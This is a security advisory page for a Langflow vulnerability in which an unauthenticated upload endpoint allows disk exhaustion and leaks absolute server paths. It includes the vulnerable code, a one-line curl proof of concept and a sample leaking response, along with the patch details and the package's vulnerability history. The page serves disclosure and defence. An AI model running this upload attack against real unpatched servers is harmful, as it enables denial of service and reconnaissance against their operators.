Critical

Langflow: Unauthenticated file upload leads to DoS (space exhaustion) and information leak

  • Disclosed: 17.06.2026
  • Updated: 11.10.2026 12:20

Summary

Unauthenticated users can upload any amount of data to the server without any limitations. No need for any prior knowledge, only network access to Langflow.

This can lead to space exhaustion on the server.

In adition, in the response, the absolute path of the uploaded file is reported to the attacker, which is an information leak that can assist in chaining other primitives.

Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe

Details

Code is in langflow/api/v1/[endpoints.py](http://endpoints.py/):

python
@router.post(
    "/upload/{flow_id}",
    status_code=HTTPStatus.CREATED,
    deprecated=True,
)
async def create_upload_file(
    file: UploadFile,
    flow_id: UUID,
) -> UploadFileResponse:
...

As can be seen above, there is no authentication. There is not validation over flow_id as well, unlike other endpoints:

        flow_id_str = str(flow_id)
        file_path = await asyncio.to_thread(save_uploaded_file, file, folder_name=flow_id_str)

Function save_uploaded_file saves the file to local file-system. Suggested fix:

  1. Add authentication to route.
  2. Only return relative path or filename.

PoC

PoC:

bash
curl 'http://localhost:7860/api/v1/upload/<any_uuid>' -F "file=@<any_file>"

Example:

bash
# curl 'http://localhost:7860/api/v1/upload/11111111-1111-1111-1111-111111111111' -F "file=@/tmp/dummy.txt"
{"flowId":"11111111-1111-1111-1111-111111111111","file_path":"/Users/ori/Library/Caches/langflow/11111111-1111-1111-1111-111111111111/9d63c3b5b7623d1fa3dc7fd1547313b9546c6d0fbbb6773a420613b7a17995c8.txt"}

Impact

  1. Space exhaustion on server that can lead to Denial-of-Service.
  2. Information leak - leakage of absolute path of langflow's cache directory in server.

Patches

Fixed in 1.9.1 via PR #12831. The deprecated POST /api/v1/upload/{flow_id} endpoint now uses the get_flow dependency, requiring an authenticated user and flow ownership (returns 404 for missing or cross-user flows), and enforces the max_file_size_upload limit (HTTP 413) — closing the unauthenticated upload and disk-exhaustion vectors. Upgrade to 1.9.1 or later.

Note: the response still returns the file's absolute path (file_path); after this fix it is only disclosed to the authenticated owner of the flow.

Ori Lahav Security Researcher @ Rubrik Inc.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) langflow < 1.9.1 1.9.1

References

CVSS score 9.3/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:H
Weakness (CWE)
CWE-200, CWE-306, CWE-400
Platform
Python (PyPI)
Package
langflow
Disclosed
17.06.2026
Updated
11.10.2026 12:20

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-224 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-x223-p2gf-v735 - CC BY 4.0

Vulnerability history: langflow

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (42) in the archive
Total entries
42
First → latest
06.2024 10.2026
Without a fix
7
Exploited in attacks
5

Severity breakdown

  • Critical 15
  • High 17
  • Medium 7
  • Low 3

Disclosures per year

  1. 2024: 4
  2. 2025: 5
  3. 2026: 33
Severity:
  1. Critical · 9.1 CVE-2026-9205 < 1.10.1 1.10.1
  2. Critical · 9.8 CVE-2026-8505 >= 1.7.0, < 1.9.1 1.9.1
  3. High · 8.8 CVE-2026-7700 >= 1.3.0, < 1.10.3 1.10.3
  4. Langflow: Unauthenticated file upload leads to DoS (space exhaustion) and information leak this entry
    Critical · 9.3 CVE-2026-55450 < 1.9.1 1.9.1
  5. Critical · 9.6 CVE-2026-48519 < 1.9.2 1.9.2
  6. Critical · 9.6 CVE-2026-42048 < 1.9.0 1.9.0
  7. High · 7.5 CVE-2026-33484 >= 1.0.0, < 1.9.0 1.9.0
  8. Critical · 9.9 CVE-2026-33309 >= 1.2.0, < 1.9.0 1.9.0
Show more (12) Showing 20 of 32

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.